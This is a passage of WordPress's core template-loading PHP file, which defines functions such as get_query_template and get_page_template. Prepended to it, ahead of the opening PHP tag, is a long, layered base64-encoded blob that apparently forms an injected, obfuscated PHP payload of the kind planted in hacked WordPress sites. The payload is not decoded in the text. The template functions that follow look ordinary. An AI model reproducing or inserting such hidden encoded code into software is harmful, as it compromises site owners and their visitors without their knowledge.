aGVteFVWbXBDUjFVeFNrWldhMVpaVFVad1VWWlhkelZUYkZaRVUxaE9TbEV3Y0VwV2ExcFRWVlpuZUZGclVsbE5WWEJIVmtaVk5WWldTbGRQVlVwVFVsWktWRk5YYkROaFZrNUhWV3hXVmxKcWJGSldWM00xVjFaa1YwOVZVbFZOUkZaUVZXeFdUMVpXVGxaUFZUbEtZVmhrY0ZVd1dsTldWbFpIVDFaa1ZGWlZWbkJVUlU1Q1lWWk9SMVZzVmxaU2FteGFWMFJDWVZWR1ZuTmFSVXBXWVRGS1IxVnJUa3BqTUd4RVUydHNWMUpzU2xKWFJFWnZXbXhLY2s5V1RsZE5SVnBVVld0V1YxSldaM2RYYkVKV1lWVnNlbE5WVGt0VFZscEhWV3hHV1UxWGFHMVZiWE0xVlRGWmQxSnNUbE5TVmxwR1YwUkNZVlZHVm5OUFZYQldVVEJzZWxOWGRHOVdWbHBIVVcxYVdGSnFiRXRXUmxaaFZVWldjMXBGU2xaaE1VcFZVMWRzTTJGV1RrZFZiRlpXVW1wc1dsWlhjelZYVm1SWFQxVlNWVTFFVmxCVmJGWlBWbFpPVms5Vk9VcGhXR1J3Vm0xMGMxRnJiSEJrTW1SS1lrZG9iVlZ0Y3pWVk1WbDNVbXhPVTFKV1drWlRWMnd6V2pCc2MyRkhXbE5oZW14VVZtcENSMVV4U2taV2ExWlpUVVp3VVZaWGJFcGpSVGt6WTBjeGFVMHdjSE5YVm1SUFlqQjBSRlZ1WkdwaVZHc3dXbFpaTldJeGNGaFNiWFJoVjBWd05sTlZaRWRsYTJ4RVZXNWthbUpVYXpCYVZsazFZakZ3V0ZKdGRHRlhSV3gzVVRJMWVsTXlSbGhYVnpsb1YwVTFObGRzYUZKaU1IQkhUMVpTVTFacmNGaFZiRnBMV1d0d1NWRnViR2xOTW1jeFYwUktiMkpHYkZoVmJYaHFZa1JDZDFOVlRscGlWV3hKVVc1c1lWWXlVbTFaYkdSSFRVWnJlVm95T1VwaFZHeHNVekJhZW1WRmVGVmlSMUp0VW01T05GUkdVbk5hUm1RMlVWaFNVRlpxUlRSVVZscDZaREI0VldKSFVsaGxhMFl3VkRGWmVFOUZNWE5qTTJSTlZrWkthMVl6Y0VKa1JUbFhUVlJvVG1Gc1dtbFVWVTEzVFZab1ZHRXlPVmxSZWxKMlZqTndRbVJGT1ZkTlZHaFlaV3RXTUZReFdYaFphekZFVFVSV1dWZElaRFJXTTNCQ1pFVTVWMDFYU2s1UmVrRXhWMFpvTTJWV1pEWlJXRkpQVW1wR2FWUlZUWGRPVm1oWlpETnNUMVp1VGpOVVJsSlhXa1YwVkdKRVpFNU5la0p5VkVoc1NtTXdiRVJWYlZwV1RVWmFWRlp0ZEZkVk1XUTFWVzVrYW1KVWF6QmFWbGsxWWpGd1dGSnRkR0ZYUlhCclV6Rk9jMDR5VG5SV2FrSnJWMFZ3TVZOVlRsTmFiRlYzVm14T1YyRXhXbFJXTTJ4VFpESk9kRTlVVW14V2FteDJWMnhrUjJFeGNGbFRiVkpRVFhwQ1RGZHNaRFJsYkhCVVVXNUNZV0ZYYURaYVJXaExZMGROZWxWdWJFeFJNR3g2VTFkc00xb3djRWRQVmxKVFZtdHdXRlZzV2t0WmEzQkpVVzVzYVUweVp6RlhSRXB2WWtac1dGVnRlR3BpUkVKM1UxVk9SazlXUWxSUmEyUlNWbGhvVlZWc1RuSlRNbFkxVlc1a2FtSlVhekJhVmxrMVlqRndXRkp0ZEdGWFJYQnRXa1ZrVjJSSFRrUlJWR3hLVTBaS05WbFdZM2RpTVd4WlUyNXNXbGRIZUcxWmVrcHZZMFp3ZFZWWE9XRlhSMmd6V1d0ak5XRXhjRlJhTW14TlVUQnNlbE5WVGxOYWJGVjNWbXhPVjJFeFdsUldNMnhUWkRKT2RFOVVVbXhXYW14MlYyeGtSMkV4Y0ZsVGJWSk1WVEowZDFRemJFSlRNa1pZVjFjNVRGRXhTak5aYWs1UFdtMVNTRlp1VW1wUk1FVTFVMVZvVDAxSFRuUmlTR1JwVFRBeGRsTnJhRU5sVjBsNllVUldXVTF0YUhOWFZtUlRZa2RPYzA5VVFtRldla1l6VkVWT1FtRlZPWEJUV0VKTVZUQkdiMVZHVVhkYU1VcHlVbXN4VmsxR1ZuZFRWVTVUWkRKT2RFOVVVbXhXYW14MlYyeGtSMkV4Y0ZsVGJWcHJVakZhTUZrd1RrSlBWV3hKVkdwR1dtSnJOSGRaTW14dVlUSk9TVk51V214VFIzaHRXVlZrVjJGR2NFaFdibXhaVFRGS2MxbHNhRUpqTUd4RlVWaE9TbEV4U2pOWmFrNVBXbTFTU0ZadVVtcFJNbk16VTFWR2QyTkdjSEJoU0dScVlsWmFkVmRFU1hoaFIxSklWRzA1VEZFd2JESlhSMnh2V1dzeFZFMUVWbGxYU0docFZGWk5kMDVXYUZkak0yUk5Wa2Q0YTFwclVrZFphekZFVFVSV1dWWnVUak5VUmxKeldrZGFSVk50U2s1UmVrRjNWMFphZW1Rd2VGVmlSMUp0VWtWcmVGWXpjRUprUlRWWFRVaENURkp1WkRGVE1GcDZaREI0VldKSFVtMVNiazQwVkVaU2MxcEdaRFpSV0ZKUVZtcEZORlJXV25wa01IaFZZa2RTV0dWclJqQlVNVmw0VDBVeGMyTXpaRTFXUmtwclZqTndRbVJGT1ZkTlZHaE9ZV3hhYVZSVlRYZE5WbWhVWVROQ2JHVnJORFZUYTAwMFlWVjRSRkZYZEdwVFJYQXlXbFZvYzFwdFJraFdiV2hoVWpGYU5WZEVUbE5pUjBwWlVWaENTbEV5ZURWWGJHaFRUVmRPZEU1SFpFdFRSVW8xV1dwT2IwNVdaM2xoUjNoYVZqRktjMWt5ZHpWTlJuQllUVmhrVUdRelFUVlJNalIzVXpKT2RGWnFRbXRYUlhBeFUxVk9VMXBzVlhkV2JFNVhZVEZhVkZZemJFdFZNVXBXVFZaQ1YxSldXbTFWVmxaVFVsWldjRk50VWxCa00wRTFVVEkwZDFNd1RuUmlSekZLVVRKa2IxZHROVmRrVm10NlZXNUNhVTFxVm0xWGJHaHZZMGROZWxWdWNFeFJNSEJvVmtaU1YyTlZNWFZTV0dScVRXMW9kRmRFU210aVIxSkhUMVJHYW1KWVpIQlRNVTV6VGpCT2RGZHFSbWxpVlRSM1dWWmpOV1JWYkVkalJUVlBWakk1TlZreFVrTmxiVVpJVjIxYVlVMXNXWGRYUkU1WFpWZEtSRm96UW14bFZVWk1VMnRvVjJWWFNrUlJWR3hLVVRCd2RscEZhRk5rTURsd1QwaGFTbUZWUmpGVFZVNVRXbXhWZDFac1RsZGhNVnBVVmpOc1MxTldXa2RWYkVaWlRVZG9VVlpVUmxKaFZtaFVVVmhXU2xFeFNtMVdWRUpYVlRGYWNsWnNUbGhsVlhCVVZXeGFSMVpzU2xkVWJGWlpUVlphVkZVeFRrdGFSVGt6WTBoQ1lXRlZSblpaZWs1VFpWZE9TRTlZY0V4Uk1VbDRXVEl4TTJNd2JIRlBSMnhNVlRCR2IxVkdVWGRhTVhCMFVtNU9hazFzVm5kYVdHUjJZVEpTV1ZOdVRrcFNSRUp1V1hwT1YyRlhUWHBWYm14TVVURkplRmt5TVROak1ERkVaVWh3YTFORmNETlphazVPWWpCd1NWWnViR2xSTTJSd1ZVaHNTbU5GZEZWak1IUnRWVmhDTlZkc2FGTk5WMDUwVGtka1MxTkdXalZaYTFKNlV6SmFVbU5FYkVSYU1qbE1XVlprV2xvd2RFUlNiVEZyVm5wV2NWcEZaSE5rYlVwelQxZDRiRkl5ZURaYVJXaE9ZakJzYzJORk5VOVdNamsxV1RGU1EyVnRSa2hYYlZwaFRXeFpkMWRFU2s5a2JVcDFWVzE0YVdKc1NqWlRWMnh5WTBkV00yTkhNV3RXZWxaeFdrVmtjMlJ0U25CUmJVWlZWa1phZUZSWE5VWmtNazE1WVVjeFdVMXRVbk5hUlZrMVlXMUplVTVVUW1GV2VsVjNXVE5zYm1FeVJsbFJXRTVLVVRGS00xZFdaR3RpUlhSWll6QjBhRll4YkhaVE1HUmhUVmRLZEZScVFtaFdlbXd4VjBSS1YwNUhSbGxVYWtKcVpWZGtjRmRVVGxkbFYwcEhUMWhDYVdKWGQzZFRWMnh5WTBWc1JGZFhNVXBSTW1oMFdrWmpNV0Z0VWtoaVNGcHBZa1JzYzFwVlpITmxiVkpKVkZjNVNtSlZOSGhaTWpFMFdteHdXV0ZIZUZwbFZXeDNVekZPYzA0d1RuQlJWMlJLVVRCR2NsZFVTbTVhTVVKVVVXMXdhMWRGY0hwWFJFcHpaRmRHV1ZWWE9VcGlWMmQzV2tWb1FrNXJlRFZQUjJ4S1VYcFNjbGxXYUVKYU1IaHdVVmRzVFdWVmJHNVVSMnhUWkRGc1dGcEhlRXhXU0U1TVUxVk9RbG93YkVoVWFrWnFZbGhvYlZsNlNsZE5SMGw2VVdwQ1RGRXhTbkZaVlU0eldqRkZlRlpzVGxWU1ZHeFNWbXRaTlZVeFNsZFZiRnBXWVhwV1ZsWlhkRWRVTVZWM1YydGFWbUZZWkc1VVZrNXlUakJPY0ZGWFpFcFJNRXB4V2tab1MyTXhaM3BVYlhoclVucHNNMXBGVG01aE1XdDVXak5PU2xKVk5WZFdWM1EwVlVaV1IxVnRXbGRTVjNoUFZXeFZOVlpzV2tSa01tUk9aVmR6TTFFeWJFSmFNR3hFVVZkMGExWXpaM2RUVlZGM1dqSlNTVk51UW1sVk1taHhXa1pvUzJNeFozbFdhbEpoVmpBeGRsTnJaRTlpTUhSVVlYcGtSR0ZWUm01VFZVNURaVlp3V1ZWcVJtcGlWRkp1VTJ0b1YyTXlVa1ZqTUhSS1VUQkdibE5WWjNkVE1FNTBZa2N4U2xFeWFIZFpiVEZ6V214dmVWWnFRa3hSTUhCdldXdGtOR1J0VVhoUFZFWnFZbGhvYlZkdE1EVmtNWEJZVGtkc1RGVXlkRzVhV0dSMldqQnNSRkZYWkV0VFJscDZXa1ZPUWs5VmJFbFZibXhvVm5wQ2RsVlZaR0ZqUjBwSVZtMWFZVTFzV1hkWFJFcFBaRzFLZFZWdGVHbGliRW8yVXpCT1MySXlVa2xWYm1SUVlWUm9NbE5YYkVKa1ZYQklZa2hrU2xGNlVtNVRWMnMwWVZWc1JFNUhkR3BTTUZwMVYyeE9jbU5GT1ROaU1tUktVVEJHYmxreU1WZE5SMUpaVTI1V1NsRXhTWGhaYTJoU1RqQk9jRkZYWkVwUk1FazFVVEpzUWxvd2JFUlJWM1JoWW10R2JsVkdUa05pVjAxNVQxZHdhRTFxYkROWGJHTXdZakJ3U0dKSVpFMVJNRVV3VkZWT00xb3djRWhXYm14cVlsUldNbFJGVGtKaE1YQlpVMjVzYWsweFNqVlVSVTVDWldzeFJHRjZaRVJoVlVadVUxVk9RMk5HY0hCUlZ6bExVakZ3TTFNeFRrTk9NSEJJVDFSR2ExRXdSVFZUVlU1TFUwWktWMVZYWkV0VFJVcHZWMnBLVmxveFRrZFZiRlpXVVhwb05GUkhjRU5aTWs1elpVaFdTbUZ1VGt4VFZVNUNXakJzUkZWdVdtdFhSa1p1VkVkdmQxb3diSEpoU0ZwcVRURkZNbE5WVGxOalIwNUhaVWhzV1ZKNlVuQlVNMlIyV2pCc1JGRlhaRXRTZW10NFdrVk9RbVJXUWxSUlYyeFNUV3BzTVZsdE1WZGhiVkpJWWtoYWFXRnRPVzVWVkVvMFpHMU5lVlp0VG1waVNHZ3hWMFZvUzFreVNuQlRWR1JFWVZWR2JsTlZUa05pVjFGNlUyNUNhMUl4Vm5aVGEyUmhaREI0UkZGWGRHbE5NVmwzVXpGU2VsTXdiRVJSVjJSS1VURktOVmRzYUZKYU1VSlVVVmRzU21GdVRreFRWVTVDV2pCc1NWcEhPV2hXTTJoelUxVk9ibUZHY0hSV2JscGhZVmRrY2xkdE5VSmpSWFJVVVdwa1MxTkZjSE5hUlU1Q1dqQjRjVTFIWkVwU01YQjFWMnhvVTJWcmRFUlZiVEZxVVROa2JsUldVa3BPUlhSVlpFUnNSR0pXY0hGWmEyTTFaV3h3VkZveWRHRmlhMFozVkROa2RtRXlVbGhsUkVKS1VrUkNibHBGYUV0alIwcFVZVWh3YTFZd2NEWmFSV2hLWWpCd1NWTnRlR3RSTTJSdVdYcE9VMlZYVGtoUFdIQk1VVEZLTlZkc2FGSmpNR3hFVTIxT2FtSklhREZYUldoTFdUSktjRk5ZUWtwUk0wNXVWR3RPY21ORk9IcE5SWFJxWWxaWmQxcEdhRXRrVld4RVZXcEdhVk5HUlROUk1qUjNVekphVW1Jd2RHaFdNV3h1VXpCT1IySlhVbGhPVjNCclVqSjRNbGx0ZHpWaVIxWklZa2h3YTFORk1YWlRWM2gzVkdzMVdHSXpiR3BXUlVvMldWVmtZVnB0VFhsU2JsSnJWako0YlZkcVNsZE5SbWQ1WlVoQ2FXSllValpUVjJ4eVkwZFdNMk5ITVd0V2VsWnhXa1ZrYzJSdFNuQlJiVVpWVmtaYWVGUlhOVVprTWsxNVlVY3hXVTB3Tlc5WmJHaFhZMFpuZVZwSGVHdFNhbXg2V1Zaak1XTnRUalZhTTBKc1pESTVURk5yWkVkak1rcEVVVlJzU2xJeVVuTmFSVmsxWTIxS2RFOVVUbGxOYlhnelV6Qk9jazR3VG5WVWJUbHJWakZ3ZEZsclpGWmlNSEJJVW01T2FWRXljek5STW14VFRWZE9kR1F5WkZGVk1FcG9Wa1pTVjJOVk1YVlNXR1JxVFcxb2RGZEVTbXRpUjFKSFQxUkdhbUpZWkhaVE1WSjZVekJ3U1ZOdGVGcFdNMmh0V1Zab1Fsb3hRbFJSYlVaVlZrWmFlRlJYTlVaa01rMTVZVWN4V1UxdFVuTmFSVmsxWlZad1dGSnVUbGxOYlhnelV6Qk9jazR3VG5CVmFrWmFWVEJGTlZOVmFFOU5SMDUxVlc1YWFWSjZhM3BYYkdoS1lqQndSMDlXVWxOV2EzQllWV3hhUzFscmJISmhSbFpYVW10S2JWWnNXazlTYkZaelQxVktVMDFHV2xCV2EwNUxXa1YwVldNd2RFdFNNRnAzVjJ0T1FrOVZiRVJUV0doT1VrVkdORk5YY0hwVE1IQklWRzVhWVZFd1JUVlRWV040WVRBMVZGb3lkR3RYUlhCNlZFYzFVMk5IU2xoV1Z6bE1WVEp6TTFFeWJGTmhiVVpJVm0xd2FHVlZSVFZUVldONFlUQTFWRm95ZEZwTmFteHlVekZTZWxNd2NFbFdiV2hLVWtSQ2JscEdhRXRqTVhCWVRsZHdhVTFzU25OVE1HaFBUVWRPZFZWdVdtbFNlbXQ2VjJ4b1NtSXdjRWRQVmxKVFZtdHdXRlZzV2t0WmEyeHlZVVpXVjFKclNtMVdiRnBQVW14V2MwOVZTbE5OUmxwUVZtdE9TMXBGZEZSaGVtUkVZVlpLTlZkc1pGcGFNVUpVVVdwR2FtSllhSE5aYlRGUFpHeHdTRlpYT1dwTk1VbzFXa1ZqTldNeVNYcGFSM2hxWVZka2NsZEVSazlTYkZaelYydGFWbUpJVG5CVk1GcFRWbFpXUjA5V1RsTldWbkJIVmxkMFYxVXdiSE5OU0VKTVZraE9URk5yYUVOaFJtOTVWbGRrVVZVd1JuQlVSRWw0WXpCNGRWRnRPV3BTUkd3d1dXcE9VMkl4Y0ZsVFZHeHFZbXhLY0ZreU1YTmxiR3Q1VDFkNFRXSlZOVEpaYkU1aFlXMU9jVTFJYUV0aVZWcDNWMnRSZDJGVmVIQlZiV2hvVmpGR01WTlhiR0ZOVjA1MFpIcHNTbUZVVW5KYVJtaExZekI0Y0ZOWE1XaFhSVVUxVTFkck1HRXlUblJXYldocFVtcHNkMWt3VFRCaFZYQjFWbTFvVVZVd2JERlRhMmhYWVVWNGNGTlhNVnBOYW14eVZVWk9TbVJWY0VoVWJscGhVWHBTY0ZOdE5VdGlSbkJ4VFVkc1RXRldTalZYYkdSYVRqQk9ibU5ITVdsTk1IQnpWMVprVDJJd2JFUmFNblJhVmpOb2VsTlZaRWRsYTJ4RVZXNUNhbEV5ZHpOUk1teFRUVVpzTlZGVWJFcFNia0pQVkd4a2RtVlhUbFZSYm5Cb1VqRndiVmRxU2xkTlJtZDVWRzVhYVdKc1NuTlpiVFZUWld0MFNWVnViR2hXZWtKMlUydGtjMlF3ZEZSa01uUnFVakJhZFZkc1RuSk9NRTV3Vlc1a2FVMHdNVzVWUms1RFpXMVNTVk51WkdsTk1ERjJVMnRvVTJGcmVFUlJWM1JhVFcxb2MxZFVTbnBqUlRrelkwaENZV0ZWUm5aVGEyaERaRzFPTlZGWGFGRldSRUp1VjIweFIyTXlUWGxXV0VKc1pESTVjbGt3YUV0a2JWWkpZa2RhYVZJeWVEWmFSVTVDVDFWc1NWUnFSbHBpYXpSM1dUSnNibUV5VWtoVVdFNU9VVE5rY2xrd1l6VmxhM1JWWXpCMFJHSnJOVzlhUnpGWFdtMUZlVTVZV210TlZHeDNXVEJPYjJKSFZrbFJiazVwVFd4S2MxTXdUa3RaTWtwd1UxaE9TMU5GU2pWWmFrNXZUbFpuZVdWSVFtcE5NVVozVXpGU2VsTXdUbTVpTW5ScFVqSjRNVmxVVGs1YU1VSlVVVzV3YTFZd2NEWmFSV2hLWWpCd1NWVnRjRTFSTVVveldXcE9UbU5yTVRaVFdFSlFaRE5DTlZkc2FGTk5WMDUwVGtka1MxSXphSGRaYlRFd1pXczVNMk5FYkVSaWFrSk1XbXhHZDA5VlRtNWpTRUpoWVZWR2RsTldaR0ZOVjBwMFZHcENhRlo2YkRGWFJFcFhUa2RHV1ZScVFtcGxWMlJ3VmpKemQwMVhSbkZUYm1oT1UwVTFkbGR0ZHpWa1IwbDVWVzFhV2sxcWJERlRWMnh5WTBkV00yTkhNV3RXZWxaeFdrVmtjMlJ0U25CUmJVWlZWa1phZUZSWE5VWmtNazE1WVVjeFdVMXFSakpYYTFrMVlXMUplVTVIT1V0U01EVXlXVzFzYzA0d1RuUmlSekZLVVRKb05scEZhRXRrTWtsNlZGYzVTMUl3TlRKWmJXd3pZVlpDU0ZOdVdtRlRSM1J3VXpGT1FtRkdRbFZOUjJSaFlsVmFlbGw2U2xaalJXeEpZekIwUzFOR1NuTmFWV2hTV2pGQ1ZGRnVaR3BpVmxwMVYwUk9TMkpIVGtobFIyaGFUV3hXZGxOWGF6UlBSbXgwVDFkMGJGVXlhR3BaZWtZd1dsWkNjMDFJUmt4V1JHZHlWRVJLY21GVmVFUlJWMnhSVWpCd01sZHJhSE5aTURGVlRrZHNUV0pJUWs5VWJHUjJaVmRPVlZGdWNHaFNNWEJ0V1hwS1IyUkhVbGhpUjFwaFRXeFpkMWRFU2pSalIwcDBaRWh3VEZFeWRIcFRWVTVUWVcxSmVVNUlUazVWTW5NelUxVk9RbE15VG5SV2FrSnJWMFZ3TVZOVlRsTk5SbkJaWVVSQ1VHUXpRVFZUVldSWFl6Sk5lVlpYWkd4Tk1IQnpXa1ZvVjJWWFNuQlJWM1JhVFdwc01WUjZUWGRUTWxwU1kwUnNSRm95T1V4WlZtUmFXakIwUkZKdE1XdFdlbFp4V2tWa2MyUnRTbk5QVjNoc1VqSjRObHBGYUU1aU1HeHpZMFUxVDFZeU9UVlpNVkpEWlcxR1NGZHRXbHBOYTFwNldXdGtTMkZHYTNsak1teE1WVEozTTFFeU1XRk5WMHAwVkdwQ2FGWjZiREZUVlZwM1ZHczFXR0l6YkdwV1JVbzJXVlZrWVZwc2EzbFNiazVwVWpCd2IxZFVTbnBpTUhCSVUycEdZV0ZYZHpOUk1qRnpZbFZzUkdGSE9XRldNRnB5VjJ4b1MyVnNaM3BVYlhocFlteEdkbE14VG5OT01FNTBZa2N4U2xFeWFIZFpiWGMxWVVkT2RWTnRhR3hWTW1Sd1ZWUkpOV1JYVWtoV2JsWnJVWHBHUjFsdE1VOWtiSEJJWWtoV1lXVnRPVzVYYWs1M1kwZE9SRk5ZVGtwU01taHpWMVprVTJKSFRuVlViVnBwVWpKNE5scEZUbTVqUlhSVVlrUmtSR0ZXU1hkWmJHaERZbGRLZEZKdVVtRlZNRVUxVTFWb1UySkhTbGxSYmxaYVZucENkbHBGV1RWaE1rWlpVMWM1VEZVelpHNVRWM1JoVlVaU05WTllRbEJsVmtreVYyMXNRazlWYkVoWGJscHFVakZhTVZNd1RsTk5SMHBaVVcweGFXSlZXakJYYkU0eldqQnNkVmt5YkV4V1NFNXVWMjAxUTAxWFVrbFVWemxMVTBoQ2RGUkZUa0poTVd4MVZtMHhURlpJVG01WGJURlBZekpKZWxSdGVFeFJNVWt5VjIxc2NrNHdiRVJWYWxwaFVUQkZOVk5WWkd0T2JVbDZVVzE0YVdGWFpISmFSV040WkRGd2RFNVhhR2xXTVZaNlUxVk9TMlZWYkhCaGVtUkxVakExTWxsdE5WTmlSMHAxVlc1d1NsSkVRbTVYYWs1M1pWWndXRkp0ZEV4Uk1Va3lWMnRPTTFvd01WVlJXR1JPVWtWR00xUlZVa0pqUlRrMVZXMXdhVTFxVlhkWGJHTXhUVWRPTlZGVWJFcFNia0pQVkd4a2RtVlhUbFZSYm5Cb1VqRndiVmxzWXpWaE1XZDVWRzVhYVdGWFpISlhWRWsxWkZkU1NGWnVWbXRUUlRGM1ZIcEthMDVzYTNsbFNGcHFUV3hXZGxOcmFIZGhNSFJWWkVSR2FXSllhSGRaYlRGNllqQndTVlZ1VW1wU01YQXhWMVpqZUdKRmRGVmpNblJhVFdwc01WcEZaRmRrVjFKSlZGZGtVVlV3U25WYVZ6RlhaRlpyZVU5WGRHRlZNbVJ5VjFSSk5XUlhVa2hXYmxaclUwVXhkMVI2VFhkYU1YQllaVWh3WVZVd1NUTlRhMlJQWkcxS2RWVnRlR2xpYkVvMlUxVlJkMW94WkhKTlJFWm9ZV3R3TkZSVmFFOWlNWEJ6VDFoU2FVMXNTbTFYVkVrMVpGVjBSRlZ0Ykd0V01XeDNWRE5zUTA5WFdsUlJiWGhwVTBVMWMxTlZhSHBoTVd0NVQxaFdhMUl4V2pGYVJXaE9XakZDVkZGdFJsVldSbHA0VkZjMVJtUXlUWGxoUnpGWlRXcEdNbGRyV1RWaGJVbDVUa2M1UzFJd2IzaFhiV3h5VGpKYVdWTnRlR3RUUmxvMVdXMXNibUV4YTNsUFdGWnJVakZhTVZwRmFFNWpSVGt6WTBSc1JHSnFRa3hUVlVaM1pHeHNjMDlZY0d0U01GbzFXa1ZPYm1GV1pISk5SRVpvWVd0d05GUlZhRTlpTVhCelQxZHdXbFl6YUhwWFZ6RkhZVzFHTlZOWVFsQmtNamxNV214R2QwOVZUblZOUlhOcFMxTnJOMGxCUFQwaUtTazdJQT09IikpOyA=');?><?php
/**
 * Template loading functions.
 *
 * @package WordPress
 * @subpackage Template
 */

/**
 * Retrieve path to a template
 *
 * Used to quickly retrieve the path of a template without including the file
 * extension. It will also check the parent theme, if the file exists, with
 * the use of {@link locate_template()}. Allows for more generic template location
 * without the use of the other get_*_template() functions.
 *
 * @since 1.5.0
 *
 * @param string $type Filename without extension.
 * @param array $templates An optional list of template candidates
 * @return string Full path to template file.
 */
function get_query_template( $type, $templates = array() ) {
	$type = preg_replace( '|[^a-z0-9-]+|', '', $type );

	if ( empty( $templates ) )
		$templates = array("{$type}.php");

	$template = locate_template( $templates );
	/**
	 * Filter the path of the queried template by type.
	 *
	 * The dynamic portion of the hook name, `$type`, refers to the filename
	 * -- minus the extension -- of the file to load. This hook also applies
	 * to various types of files loaded as part of the Template Hierarchy.
	 *
	 * @since 1.5.0
	 *
	 * @param string $template Path to the template. See {@see locate_template()}.
	 */
	return apply_filters( "{$type}_template", $template );
}

/**
 * Retrieve path of index template in current or parent template.
 *
 * The template path is filterable via the 'index_template' hook.
 *
 * @since 3.0.0
 *
 * @see get_query_template()
 *
 * @return string Full path to index template file.
 */
function get_index_template() {
	return get_query_template('index');
}

/**
 * Retrieve path of 404 template in current or parent template.
 *
 * The template path is filterable via the '404_template' hook.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to 404 template file.
 */
function get_404_template() {
	return get_query_template('404');
}

/**
 * Retrieve path of archive template in current or parent template.
 *
 * The template path is filterable via the 'archive_template' hook.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to archive template file.
 */
function get_archive_template() {
	$post_types = array_filter( (array) get_query_var( 'post_type' ) );

	$templates = array();

	if ( count( $post_types ) == 1 ) {
		$post_type = reset( $post_types );
		$templates[] = "archive-{$post_type}.php";
	}
	$templates[] = 'archive.php';

	return get_query_template( 'archive', $templates );
}

/**
 * Retrieve path of post type archive template in current or parent template.
 *
 * The template path is filterable via the 'archive_template' hook.
 *
 * @since 3.7.0
 *
 * @see get_archive_template()
 *
 * @return string Full path to archive template file.
 */
function get_post_type_archive_template() {
	$post_type = get_query_var( 'post_type' );
	if ( is_array( $post_type ) )
		$post_type = reset( $post_type );

	$obj = get_post_type_object( $post_type );
	if ( ! $obj->has_archive )
		return '';

	return get_archive_template();
}

/**
 * Retrieve path of author template in current or parent template.
 *
 * The template path is filterable via the 'author_template' hook.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to author template file.
 */
function get_author_template() {
	$author = get_queried_object();

	$templates = array();

	if ( $author instanceof WP_User ) {
		$templates[] = "author-{$author->user_nicename}.php";
		$templates[] = "author-{$author->ID}.php";
	}
	$templates[] = 'author.php';

	return get_query_template( 'author', $templates );
}

/**
 * Retrieve path of category template in current or parent template.
 *
 * Works by first retrieving the current slug, for example 'category-default.php', and then
 * trying category ID, for example 'category-1.php', and will finally fall back to category.php
 * template, if those files don't exist.
 *
 * The template path is filterable via the 'category_template' hook.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to category template file.
 */
function get_category_template() {
	$category = get_queried_object();

	$templates = array();

	if ( ! empty( $category->slug ) ) {
		$templates[] = "category-{$category->slug}.php";
		$templates[] = "category-{$category->term_id}.php";
	}
	$templates[] = 'category.php';

	return get_query_template( 'category', $templates );
}

/**
 * Retrieve path of tag template in current or parent template.
 *
 * Works by first retrieving the current tag name, for example 'tag-wordpress.php', and then
 * trying tag ID, for example 'tag-1.php', and will finally fall back to tag.php
 * template, if those files don't exist.
 *
 * The template path is filterable via the 'tag_template' hook.
 *
 * @since 2.3.0
 *
 * @see get_query_template()
 *
 * @return string Full path to tag template file.
 */
function get_tag_template() {
	$tag = get_queried_object();

	$templates = array();

	if ( ! empty( $tag->slug ) ) {
		$templates[] = "tag-{$tag->slug}.php";
		$templates[] = "tag-{$tag->term_id}.php";
	}
	$templates[] = 'tag.php';

	return get_query_template( 'tag', $templates );
}

/**
 * Retrieve path of taxonomy template in current or parent template.
 *
 * Retrieves the taxonomy and term, if term is available. The template is
 * prepended with 'taxonomy-' and followed by both the taxonomy string and
 * the taxonomy string followed by a dash and then followed by the term.
 *
 * The taxonomy and term template is checked and used first, if it exists.
 * Second, just the taxonomy template is checked, and then finally, taxonomy.php
 * template is used. If none of the files exist, then it will fall back on to
 * index.php.
 *
 * The template path is filterable via the 'taxonomy_template' hook.
 *
 * @since 2.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to taxonomy template file.
 */
function get_taxonomy_template() {
	$term = get_queried_object();

	$templates = array();

	if ( ! empty( $term->slug ) ) {
		$taxonomy = $term->taxonomy;
		$templates[] = "taxonomy-$taxonomy-{$term->slug}.php";
		$templates[] = "taxonomy-$taxonomy.php";
	}
	$templates[] = 'taxonomy.php';

	return get_query_template( 'taxonomy', $templates );
}

/**
 * Retrieve path of date template in current or parent template.
 *
 * The template path is filterable via the 'date_template' hook.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to date template file.
 */
function get_date_template() {
	return get_query_template('date');
}

/**
 * Retrieve path of home template in current or parent template.
 *
 * This is the template used for the page containing the blog posts.
 * Attempts to locate 'home.php' first before falling back to 'index.php'.
 *
 * The template path is filterable via the 'home_template' hook.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to home template file.
 */
function get_home_template() {
	$templates = array( 'home.php', 'index.php' );

	return get_query_template( 'home', $templates );
}

/**
 * Retrieve path of front-page template in current or parent template.
 *
 * Looks for 'front-page.php'. The template path is filterable via the
 * 'front_page_template' hook.
 *
 * @since 3.0.0
 *
 * @see get_query_template()
 *
 * @return string Full path to front page template file.
 */
function get_front_page_template() {
	$templates = array('front-page.php');

	return get_query_template( 'front_page', $templates );
}

/**
 * Retrieve path of page template in current or parent template.
 *
 * Will first look for the specifically assigned page template.
 * Then will search for 'page-{slug}.php', followed by 'page-{id}.php',
 * and finally 'page.php'.
 *
 * The template path is filterable via the 'page_template' hook.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to page template file.
 */
function get_page_template() {
	$id = get_queried_object_id();
	$template = get_page_template_slug();
	$pagename = get_query_var('pagename');

	if ( ! $pagename && $id ) {
		// If a static page is set as the front page, $pagename will not be set. Retrieve it from the queried object
		$post = get_queried_object();
		if ( $post )
			$pagename = $post->post_name;
	}

	$templates = array();
	if ( $template && 0 === validate_file( $template ) )
		$templates[] = $template;
	if ( $pagename )
		$templates[] = "page-$pagename.php";
	if ( $id )
		$templates[] = "page-$id.php";
	$templates[] = 'page.php';

	return get_query_template( 'page', $templates );
}

/**
 * Retrieve path of paged template in current or parent template.
 *
 * The template path is filterable via the 'paged_template' hook.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to paged template file.
 */
function get_paged_template() {
	return get_query_template('paged');
}

/**
 * Retrieve path of search template in current or parent template.
 *
 * The template path is filterable via the 'search_template' hook.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to search template file.
 */
function get_search_template() {
	return get_query_template('search');
}

/**
 * Retrieve path of single template in current or parent template.
 *
 * The template path is filterable via the 'single_template' hook.
 *
